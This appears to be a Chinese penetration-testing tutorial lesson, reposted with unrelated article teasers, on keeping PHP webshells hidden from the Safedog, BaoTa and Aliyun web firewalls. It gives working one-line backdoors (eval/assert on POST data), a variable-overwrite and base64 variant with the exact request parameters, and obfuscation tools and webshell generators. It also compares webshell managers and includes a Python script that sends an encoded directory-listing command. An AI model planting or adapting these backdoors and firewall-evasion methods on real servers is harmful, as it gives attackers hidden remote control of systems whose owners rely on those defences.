48 WAF绕过-权限控制之代码混淆及行为造轮子

news2024/11/16 21:45:28

目录

    • Safedog代码层手写及脚本绕过
    • BT Aliyun代码层手写及脚本绕过
    • safedog,BT,Aliyun-基于覆盖加密变异下编码解码绕过-代码层
    • Safedog,BT,Aliyun-基于冰蝎新型控制器绕过全面测试-行为层
    • Safedog,BT,Aliyun-基于手写新型控制器绕过全面测试-行为层
    • 涉及资源:

在这里插入图片描述
权限得到之后,我们要做很多事情,比如权限上面的读文件、写文件、查看相关的东西,如果对方有部署WAF的话,也会对这些东西进行拦截,那么它拦截的层面也不是单纯的一个方面

网站后门跟我们的杀毒软件一样的,一个文件下载到本地之后,杀毒软件会对它进行检测,就是有没有病毒,有没有木马,除了这些之外,如果这个文件没有行为上的敏感,比如这个文件打开之后,要获取到什么东西、得到什么东西,这个时候杀毒软件也会有相应的拦截和警告,监控到这个程序有进行异常的敏感操作,那么同样waf这个产品在市面上也会达到这个功效,它能监控到后门有没有进行后续的敏感操作,那么这些敏感操作它也会进行拦截,同样的代码要做的操作也会受到监控,所以我们绕过是要从多方面去考虑这个问题的,我们称之为代码绕过和行为绕过

实现我们要确保后门代码不要被查杀到,认定为后门,其实就是你代码要做的事情,比如进行文件读取,文件操作,这个操作也会对waf进行监控,这个操作也要进行相应的绕过,才能实现最终的目的,因为我们最终的目的是通过后门达到文件读取、文件执行这些操作,而且这些操作,你也一定要进行绕过,这个就是真正意义上的绕过

代码有区分各种脚本类型,脚本语言开发环境的一些常见后门,你还要熟悉各种语言上面的东西

比如我们使用菜刀去连接后门,即使是你没有行为上的动作,代码也是一个很正常的代码,免杀的代码,是它检测不到的代码,由于你用到的工具是菜刀,菜刀它上面有些特征,waf上面有记录这些特征,它也会对它进行拦截,所以它不仅有代码还有行为工具的特征,如果你使用工具去连接后门的话,那么同样也会受到工具上的限制,权限控制要想实现真正意义上的绕过,是多方面的问题,也是我们最直接的一个层面

waf绕过就是不断地去测试,它也没有界面,有没有什么参考的东西,就是不断地测试

不同的脚本绕过WAF的思路是通用的,代码的写法和函数不一样而已,无关紧要

Safedog代码层手写及脚本绕过

变量覆盖,加密混淆,异或生成

我们要先确保代码层面能够绕过,确定之后,我们再做下一步,不是说你代码绕过你就是绕过了,代码只是第一要素

PHP:
<?php @eval($_POST['chopper']);?>
一句话木马:<?php assert($_POST['chopper']);?>

这里为什么不用eval,因为eval被监控的比较厉害,第二个原因eval是自然函数,要调用eval用普通的变量调用不出来,比如说assert我们可以赋值给变量b,然后在以变量b括起来$_POST[‘chopper’]);,然后这个代码能执行,但是如果你用eval赋值给一个变量,然后再写进来就不行,我们选择assert因为它可变化性强,而且它能取得eval关键很敏感的函数

我们利用变量覆盖的思路,就是把原始变量进行覆盖,然后利用参数进行传递

变量覆盖:通过把敏感字符写到访问地址的参数上去,waf它能够检测代码,但是它无法控制你输入的参数,从而绕过WAF:
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
?>

可以绕过safedog查杀
在这里插入图片描述

传参:?x=b&y=assert
$a=b  $$a=assert=$b 最终结果是assert($_POST['z']);

我们代码写完之后,还需要确定一下是否能执行,这样才是成功的绕过WAF
在这里插入图片描述

BT Aliyun代码层手写及脚本绕过

编码解码(变量覆盖,加密混淆,异或生成)

现在我们的服务器上启动阿里防火墙和宝塔,我们发现就被拦截了
在这里插入图片描述
我们通过查看宝塔的防护日志,发现是宝塔拦截的,风险值是phpinfo(
在这里插入图片描述
我们可以使用编码解码进行绕过,通过加密的方式进行传输

一句话木马:<br><?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b(base64_decode($_POST['z']));
?>
 
上传成功后,
访问:http://127.0.0.1:8081/x/1.php?x=b&y=assert
并且(可以用hackbar插件)
postdata:z=cGhwaW5mbygpOw==

出现结果没有拦截,这个就是命中phpinfo规则,称之为手写的变量覆盖
在这里插入图片描述
除此之外,加密混淆也能达到这个功能,我们使用下面的代码来进行加密混淆,因为宝塔有加密传输,我们必须这样写,最终结果是要放到本地服务器上测试,不是我本地安全狗通过测试就完事了,上面还有阿里云,我们以这个为准

<?php assert(base64_decode($_POST['x']));?>

让代码看上去更加复杂难懂,这些设置可以调节复杂难度
https://github.com/djunny/enphp
在这里插入图片描述
在这里插入图片描述
直接用php.exe执行命令
在这里插入图片描述
代码混淆完之后,就变成这样子了
在这里插入图片描述
安全狗扫描一下,发现正常
在这里插入图片描述
执行非常稳
在这里插入图片描述
工具加密会比较复杂,我们可以使用在线加密:https://www.phpjiami.com/phpjiami.html
它打乱了规则把里面搞成乱码,安全狗就识别不了,而且他们加密是不可逆的,除非有对应代码解密

你没有这些信息是不可能得到这些源代码的
在这里插入图片描述
这里利用接口进行加密
在这里插入图片描述
直接执行,刷新了,没有任何问题,因为加密程度越高的话,它还原不了,还原不了,他就无法确定真实代码,确定不了只能放行,他不能误报,他要准确率的
在这里插入图片描述

safedog,BT,Aliyun-基于覆盖加密变异下编码解码绕过-代码层

venom:支持生成asp、aspx、jsp、php等一句话免杀木马
地址:https://gitee.com/Dyan_code/webshell-venom?_from=gitee_search
在这里插入图片描述
使用方法:python3 php_venom_3.3.py //生成免杀一句话
python3 php_venom_3.3.py shell.php //对同目录下shell.php进行免杀处理,结果保存到shell.php.bypass.php
在这里插入图片描述
基本上是通杀
在这里插入图片描述
使用说明:
是否传入id参数决定是否把流量编码
http://www.xxx.com/shell.php
POST: mr6=phpinfo(); //与普通shell相同

我不能直接利用无参数传递的,因为我要绕过宝塔

http://www.xxx.com/shell.php?id=xxx(xxxx随便修改)
POST: mr6=cGhwaW5mbygpOwo= //payload的base64编码
在这里插入图片描述
这个就是异或生成,利用别人写好的脚本,结合了反序列化,以这种形式的东西来取代关键字字符,从而绕过WAF

这个是针对蚁剑版本的,用它生成的项目可以直接支持蚁剑的连接,蚁剑的后门代码和菜刀的原型代码是一样的,基本上两个都是通用的
https://github.com/yzddmr6/as_webshell_venom
在这里插入图片描述
蚁剑上的加密跟异或加密是一样的,但是原理不清楚,也没什么价值,我们讲的是注重原理上的讲

Safedog,BT,Aliyun-基于冰蝎新型控制器绕过全面测试-行为层

我们这里使用蚁剑去连接我们前面上传上去的木马,发现连接失败,因为木马的这个写法和工具自身在工具产生原理上面有问题,所以我们只能采用它原型一句话加密
在这里插入图片描述
这个木马会对响应的内容进行解码,所以我们在蚁剑上要对请求内容进行编码,这样子蚁剑才能连接后门成功
在这里插入图片描述
在这里插入图片描述
这里用菜刀去连接不行,因为菜刀连接不了,没有这个功能

这个是三款工具的优缺点,我们学它的优缺点,就是要知道这些工具的原理和它比较有优势的地方

菜刀,蚁剑,冰蝎优缺点
菜刀: 未更新状态,无插件,单向加密传输,打5分,不建议使用
蚁剑: 更新状态,有插件,拓展性强,单向加密传输,打8分
冰蝎: 更新状态,未知插件,双向加密传输,拓展性强,偏向于后渗透,可以联动msf,打分9分,推荐使用

冰蝎双向加密传输原理:
在这里插入图片描述
菜刀在传输数据的时候,发送你的攻击代码,通过目标服务器返回给你

冰蝎是发送的时候已经加密了,目标服务器返回的代码也是加密的,就是双向加密,这样做的好处在于waf或杀毒软件在判断你行为进程的时候,不识别

我们先用菜刀连接后门
在这里插入图片描述
看一下菜刀的数据包
在这里插入图片描述
我们访问一下数据包,看一下页面信息
在这里插入图片描述
这个结果跟菜刀的页面信息一样,说明返回过来的数据没有加密,这种我们叫单向加密
在这里插入图片描述
我们看一下冰蝎
在这里插入图片描述
看一下双向加密的,请求是加密的,结果是乱码的
在这里插入图片描述
冰蝎在接收到数据本身的时候,再把加密的结果还原成我们看到的东西,这是它的好处,虽然说看上去对WAF拦截没有太大作用,但是至少冰蝎在监控流量,能让对方能够产生错觉,一时半会不知道是什么东西,在APT攻击中是一个很好的隐藏自己的思路,这个设计是比较超前一点,相对于菜刀、蚁剑来讲

在对后门木马进行命名的时候,不要带关键字

Safedog,BT,Aliyun-基于手写新型控制器绕过全面测试-行为层

在用冰蝎进行连接的时候,连接成功,但是文件管理看不了在这里插入图片描述
这个是行为上的问题,就是你的代码被拦截,或者说你的行为被监控到了,我们可以更改工具的指纹,但是由于冰蝎是不开源的,不知道它的核心代码怎么样,我们只能自己写轮子,就不用网上这些工具了

第一种是冰蝎被人标记了黑名单,waf有冰蝎的指纹,你发送数据过去,waf就知道你在搞东西;第二个原因,查看文件管理数据包触发到关键词,然后waf拦截了,我猜测是第二种原因,应该是宝塔拦截的

比如我们现在使用菜刀的数据包去查看文件,发现查看不了
在这里插入图片描述
但是我们可以使用自己编写的数据包去查看,然后对请求的内容进行加密
在这里插入图片描述
去访问一下,结果出来了,读取文件绕过了
在这里插入图片描述
我们使用自己的数据包去实现功能,何必去用工具呢,工具是为了显示属性,写了一大堆的乱七八糟的,我们就是看一下有什么文件,单单写这个代码不就好了,因为这个就是你自己写的数据包

我们这边用脚本写一遍新型控制器

import requests
import base64

url=input("请输入你的后门地址:")
password=input("请输入你的后门密码:")

path={
     'z':'dmFyX2R1bXAoc2NhbmRpcignLicpKTs=',
}

result=requests.post(url,data=path).text
print(result)

涉及资源:

enphp:
https://github.com/djunny/enphp
PHP在线加密:
https://www.phpjiami.com/phpjiami.html
as-webshell-venom:https://github.com/yzddmr6/as_webshell_venom
冰蝎(Behinder):https://github.com/rebeyond/Behinder
蚁剑(AntSword):https://github.com/AntSwordProject/antSword
webshell-venom-master:https://pan.baidu.com/s/1msqO2kps139NNP9ZEIAVHw 提取码:xiao

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1390720.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

kotlin运行

1.使用android studio 由于我本身是做android的&#xff0c;android studio本身有内置kotlin的插件。但若只是想跑kotlin的程序&#xff0c;并不像和android程序绑在一起&#xff0c;可以创建一个kt文件&#xff0c;在里面写一个main函数&#xff0c;就可以直接运行kotlin程序…

如何隐藏服务器真实IP地址,隐藏服务器IP有什么好处

首先我们介绍了隐藏服务器IP的概念及工作模式&#xff0c;接着阐述了其对于DDoS攻击的防护作用。然后介绍了如何利用隐藏服务器IP增加系统性能和稳定性。接着我们讲述了如何隐藏服务器IP防止黑客攻击&#xff0c;最后总结了隐藏服务器IP在保护服务器和用户数据方面发挥的作用。…

10分钟读完一篇 AI 论文!​

已经2024年了&#xff0c;该出现一个写论文解读的AI Agent了。 大家肯定也在经常刷论文吧。 但真正尝试过用GPT去刷论文、写论文解读的小伙伴&#xff0c;一定深有体验——费劲。其他agents也没有能搞定的&#xff0c;今天我发现了一个超级厉害的写论文解读的agent &#xff…

计算机网络期末复习(基础概念+三套卷子练习)

文章目录 第一章&#xff1a;计算机网络概念计算机网络的概念计算机网络体系结构 第二章&#xff1a;物理层物理层的基本概念物理层的基本通信技术 练题专题练习码分多址地址聚合 1.0选择填空大题练习 2.0选择填空大题练习 3.0选择填空大题练习 第一章&#xff1a;计算机网络概…

【驱动】TI AM437x(内核调试-06):网卡(PHY和MAC)、七层OSI

1、网络基础知识 1.1 七层OSI 第一层:物理层。 1)需求: 两个电脑之间如何进行通信? 具体就是一台发比特流,另一台能够收到。于是就有了物理层:主要是定义设备标准,如网线的额接口类型、管线的接口类型、各种传输介质的传输速率等。它的主要作用是传输比特流,就是从1/0…

C++多线程学习[三]:成员函数作为线程入口

一、成员函数作为线程入口 #include<iostream> #include<thread> #include<string>using namespace std;class Mythread { public:string str;void Test(){cout << str << endl;} }; int main() {Mythread test;test.str "Test";thr…

tidb Cloud 连接spring boot 项目

一、 免费试用tidbitcloud TiDB Cloud Documentation | PingCAP Docs 1.github账号登录 2.创建集群 3.点击对应集群cludter0 导入数据 导入 本地导入只支持csv文件&#xff0c;其他导入需要AWZ账号使用S3云存储 二、连接spingboot项目 选择java&#xff0c;复制下面的jd…

Matlab并行编程之GPU

Matlab并行编程之GPU Matlab提供GPU上计算支持: 基础数据类型(gpuArray和对应API),支持GPU计算的内置函数和多个工具包,支持PTX内核对象加载,支持MEX函数使用CUDA C/C开发等。对大规模数据处理&#xff0c;复杂计算&#xff0c;利用GPU计算能提供显著的性能加速效果. Matlab同…

Django教程第5章 | Web开发实战-数据统计图表(echarts、highchart)

专栏系列&#xff1a;Django学习教程 前言 highchart&#xff0c;国外。 echarts&#xff0c;国内。 本项目集成 hightchart和echarts图表库实现数据统计功能。 包括&#xff1a;折线图&#xff0c;柱状图&#xff0c;饼图和数据集图。 效果图 echats Highcharts 源代码…

BitLocker 驱动器加密

BitLocker 简介 BitLocker 驱动器加密是一项由微软开发并集成在Windows操作系统中的数据保护功能&#xff0c;其主要作用是通过加密存储在硬盘驱动器上的数据来增强信息安全。具体来说&#xff1a; 数据安全&#xff1a;BitLocker可以对整个操作系统卷&#xff08;包括系统分区…

【Unity实战100例】Unity对Ini格式的配置文件管理和读写

目录 一.编写ini格式配置文件 二.读取解析ini文件 三.调用属性 INI 文件以文本形式存储,易于阅读和编辑。这种人可读的格式使得调整配置参数变得更加直观,不需要专门的工具。 INI 文件是一种轻量级的配置文件格式,不需要复杂的解析器或库。它的结构相对简单,适用于小到

Jenkins自动化部署docker

Jenkins自动化部署docker和普通方式构建 docker外挂目录 准备测试服务器docker环境准备jdk环境将上传jar包修改为app.jar对外暴露1000端口启动jar FROM openjdk:8-jdk-alpine ARG JAR_FILE COPY ${JAR_FILE} app.jar EXPOSE 1000 ENTRYPOINT ["java","-jar&q…

生产力与生产关系 —— 浅析爱泼斯坦事件 之 弱电控制强电原理

据网络文字与视频资料&#xff0c;爱泼斯坦事件是犹太精英阶层&#xff0c;为了掌控美国国家机器为犹太利益集团服务&#xff0c;而精心设下的一个局。本文先假设这个结论成立&#xff0c;并基于此展开讨论。 我们知道&#xff0c;弱电管理强电是电气工程中的一门专门学问&…

使用CloudFlare-Woker搭建简易网站

使用CloudFlare-Woker搭建简易网站 1、首先到CloudFlare官网登录或注册自己的账号&#xff1a;Cloudflare 中国官网 | 智能化云服务平台 | 免费CDN安全防护 | Cloudflare (cloudflare-cn.com) 注册一个账号 2、登录账号后进入仪表盘网页&#xff0c;选择Workers & Pages页…

目标检测DETR:End-to-End Object Detection with Transformers

NMS 对一个目标生成了多个检测窗口&#xff0c;但是事实上这些窗口中大部分内容都是重复的&#xff0c;找到目标检测最优的窗口 选取多个检测窗口中分数最高的窗口&#xff0c;剔除掉其他同类型的窗口 anchor generator 首先在该点生成scale512, aspect ratio{1:2&#xff…

Xtuner实战+LLM微调

Finetune 微调 在实际对话中&#xff0c;通常会有三种角色 system&#xff1a;给定一些上下文信息&#xff0c;“你是一个专业的内科医生&#xff0c;能回答医疗领域的专业问题”User&#xff1a;用户的问题&#xff0c;”肿瘤如何治疗“Assistant&#xff1a;LLM的回答 增量…

Unity3D学习之数据持久化——PlayerPrefs

文章目录 1. 概念2. 存储2.1 存到内存当中2.2 存到硬盘当中2.3 局限性2.4 相同键会覆盖 3.读取3.1 int型3.2 float型3.3 string型3.4 判断数据是否存在 4. 删除数据5. 存储位置6. 反射6.1 判断一个类型的对象是否可以让另一个类型为自己分配空间6.2 通过反射获得泛型类型 7 数据…

Java类与对象详解(从语法到内部存储)

Java类与对象详解&#xff08;从语法到内部存储&#xff09; 一、什么是类&#xff1f;1、定义2、语法 二、类的实例化1、什么是实例化2、语法3、成员变量和成员方法的访问 三、构造方法1、什么是构造方法2、构造方法的重载3、构造方法的调用 四、this关键字五、类对象的内部存…

【STM32】STM32学习笔记-软件I2C读写MPU6050(33)

00. 目录 文章目录 00. 目录01. I2C简介02. MPU6050参数03. 软件I2C接线图04. I2C模拟应答时序示例05. I2C读取MPU6050程序示例06. 程序下载07. 附录 01. I2C简介 I2C(Inter&#xff0d;Integrated Circuit)总线是一种由NXP&#xff08;原PHILIPS&#xff09;公司开发的两线式…

DeepSecrets:一款能够理解代码语义的代码敏感信息扫描工具

关于DeepSecrets DeepSecrets是一款能够理解代码语义的代码敏感信息扫描工具&#xff0c;在该工具的帮助下&#xff0c;广大研究人员将能够更有效地扫描和分析代码中的敏感信息。 社区中很多现有的代码分析工具其实并不能够真正地“理解”代码&#xff0c;而是直接解析代码文…